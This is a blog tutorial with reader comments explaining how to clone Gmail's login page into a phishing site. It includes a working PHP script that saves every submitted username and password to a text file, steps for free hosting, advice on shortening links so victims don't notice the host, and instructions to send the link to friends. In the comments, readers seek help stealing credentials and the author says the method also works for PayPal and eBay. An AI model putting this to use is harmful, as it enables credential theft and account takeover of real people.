How to make Phishing Page for Gmail

Phishing is an art of stealing credential details or password and username of the user by providing him the similar or look-alike page that he uses to enter a password or credential details.

There are a lot of ways of doing Phishing but we will be focusing on the method that is simple and does not require any programming knowledge i.e this method can be used and applied by anyone from freelancer to a programmer.

Earlier in one of my post I have explained the method to make a Phishing Page for Facebook and now I will be telling you how you can make phishing page for Gmail..Although you may think that teaching to make phishing page is a crime but wait I am only teaching you to make phishing page only for Fun and educational purpose..!!!!page

Again this tutorial is very easy just like the previous one and  doesn’t require any knowledge of programming.All you have to do is just follow the steps

Phishing page for Gmail

[su_note note_color=”#f38e9c” text_color=”#000000″ radius=”11″]NOTE: This tutorial is for Education Purpose only don’t misuse it,We will not hold any responsibility if it is being misused and please don’t use this tutorial for illegal activities!!

Find out: How to Protect yourself from Phishing[/su_note]

Step 1:

Open and right click on the page. You will see many options, just select view source.

Recommended Reading:  Clash Royale Gems Generator To Get Free Gems

Phishing Page for Gmail-view source

Step 2:

Now simply copy the entire code (press CTRL+A and then CTRL+C of your keyboard for copying the entire code). After copying the code open notepad and paste the code by pressing CTRL+V.

Phishing Page for Gmail-Change action


Step 3:

Scroll to the top and press CTRL+F of your keyboard. You will get a dialogue box on your screen. Simply type “action=” in the space provided without inverted commas. And hit enter.Replace the link corresponding to action= with post.php see image below,it will make it clearer.

Phishing Page for Gmail-

Save the notepad file with a name index.html. If you get a warning then press ok.

Step 4:

Open a new notepad file and simply copy and paste the below code. You can also modify the code as this code redirects the victims to a new page after he enters his password and username.

If you want the user to get redirected to original/genuine page after writing his password and user name leave it as it is and if you want to redirect the victim to some new site replace “” with desired site name in the below code.

<?php header ('Location:'); $handle = fopen("usernames.txt", "a"); foreach($_POST as $variable => $value) {    fwrite($handle, $variable);    fwrite($handle, "=");    fwrite($handle, $value);    fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>


Recommended Reading:  How to Undo a Sent E-Mail in Gmail!

Save the file as post.php

Step 5:

Now you have completes making your Phishing page ,open index.html to see your phishing page.

When you will open index.html you will see that your phishing page is not as same as Gmail original/genuine page ,it is missing many images and logo.Phishing Page for Gmail-Changing avatar

So,it’s time to fix them.

All you have to do is open index.html in notepad .Just make a right click on index.html and hover over open with and select notepad.

Press CTRL+F of your keyword to find the following links and replace the following links with corresponding links:

  • Firstly Find: // for fixing Google logo.
  • Replace it with:
  • Secondly, Find: // for fixing avatar.
  • Replace it with:
  • Thirdly Find: // for fixing logo strip
  • And replace it with:
  • Lastly Find: // for fixing language icon.
  • And replace it with:

Now save your work and again open index.html by double clicking and you will see all the things have been fixed and your page looks exactly like original Gmail page.Phishing Page for Gmail-Avatar fixed

Now its time to host your gmail phishing page(both index.html and post.php) in free hosting sites which is again very simple.

Just see the tutorial :Uploading your Phishing Site to Free hosting site!

Recommended Reading:  How to Hack Android Phone using Kali Linux

And start following the steps from step 7.

After uploading the files all you have to do is start spreading your link to your friends and whenever they will click on the link they will be redirected to and whenever they will enter the username and password you will also get the username and password of your friend.This finishes the Tutorial of making Phishing page for Gmail…!!

Note: You can shorten your link with link shortening sites so that victim don’t get to know that the link is from a free hosting site. Or you can buy hosting from : Ipage Hosting and get your Phishing Page going…!!


Mohit Chauhan

Mohit Chauhan is a founder of a TechTechnik. He Loves to write on any topic related to WordPress, Tech, Android and computers.

  1. Wow great and simple instruction ,thank you so much sir for your working method.

  2. The images aren’t working for me! I typed them just like you instructed.. But they’re still not coming. Help!!

  3. Hi, do you have the new interface method for gmail ? please share…

  4. Hi what hosting sites are free ? I have to pay for any of them

  5. dude wen i type index.html im getting nothing just error..please help me

  6. im stuck at step 4 can you help me plz

  7. Hello mohit,
    i made the phishing page, but when i click the link and enter the password it shows like this..(see below)
    PHP Error Message

    Parse error: syntax error, unexpected T_STRING in /home/a6991743/public_html/post.php on line 1

    Free Web Hosting
    so is there anything wrong ??
    and im lack of how to use hosting…i made a account in and i upload both files to it..after that im lost..what to do next. how im tarck the login details of others when they sign in using my link.
    please can you help me

    Best tegards.

  8. I cannot make this steps because of the new gmail design in 2016 because they made the email entry in a page and the password in another page ……… so what can i do

  9. Yo dude, if you still have the index.html code from that date can u post it/ mail it to me?
    I have some dumbass friends who would still believe it.

  10. Hello. I would like to know if one can use this tutorial to create phishing site for any site like ebay or paypal? Or does each site has different protection and this one tutorial won’t help with anything else except gmail? And also, can created phishing site be opened via mobile phone? Thank you very much.

    • Hi,
      You can for sure use this tutorial for making phishing page for PayPal or ebay, but you should be knowing little bit of CSS in order to completely make a phishing page for the mentioned sites!

  11. Hey! It works 100%, I tested it. However, Facebook will give a warning right away that there’s a security breach and that I need to reset my password. How can this be prevented? Also, the text target is currently using a mobile phone. Does this work on mobile?

  12. when will u come up with new gmail format hacking trick

  13. Hello Mohit, will this format still work? Or will i have to wait for another article?

  14. Hey Mohit.

    These instructions still work. However, after an email is submitted and the user selects “next”, the page just goes to an error page for the file hosting (tried both 000webhost and hostinger).

    Know how to fix these?

    • Hi Justin,

      This problem is caused because Gmail no works with two-step authentication process. You may be able to get a Gmail user id of the victim but not a password. Stay with me and i will for sure come up with the new article on two step authentication process.


  15. Still nothing new?

  16. I have gotten to step 4 and i don’t know how to get through again ….

  17. have you any update about gmail “phishing alert” and gmail two-step authentication process.

  18. where will I get the password

  19. Wait, so, what people here in the comments are saying is that this doesn’t work anymore? Because gmail now goes to a second page to insert the password?
    If so, does anyone here has the old Gmail index.html? It’s not so different and a lot of people might still fall for it…

  20. please help…. someone hacked my gmail account and i forgot the recovery email….

  21. Hi
    do you have the soarce code for the old interface page

  22. Hi Mohit.
    I just want to thank you. I love your post, so much luck with this work and hope you soon make the new post about this topic. I am looking forward it.

  23. Couldnt you just upload the premade files????im lazy. xD

  24. where to open the index.html page…………????

  25. can you provide that source code of gmail cause gmail has changed it look and now it just shows email alone

  26. can you suggest me free hosting page

  27. can you give me the gmail old login page like you show up in step 1

  28. Hi,

    The google page source shown here is different from what i get now. Does this still work

  29. when will u come with a new interface

  30. Hey great tutorial but when i search “action=” on notepad it says nothing is found pls help!!

  31. Hey great tutorial it seems, but when i am searching “action=” on notepad it says nothing is found pls help!!

  32. when I search action= it does not pop up!

  33. Can I get a video direction

  34. What problem are you facing?

Leave a reply

TechTechnik Logo brings you the most useful, unique and innovative products every day that you may not have already seen. Join over 00,000 happy customers from around the world and shop for the best deals.

Follow us!

Quick Links

Stay in Touch

Register New Account
Reset Password
Shopping cart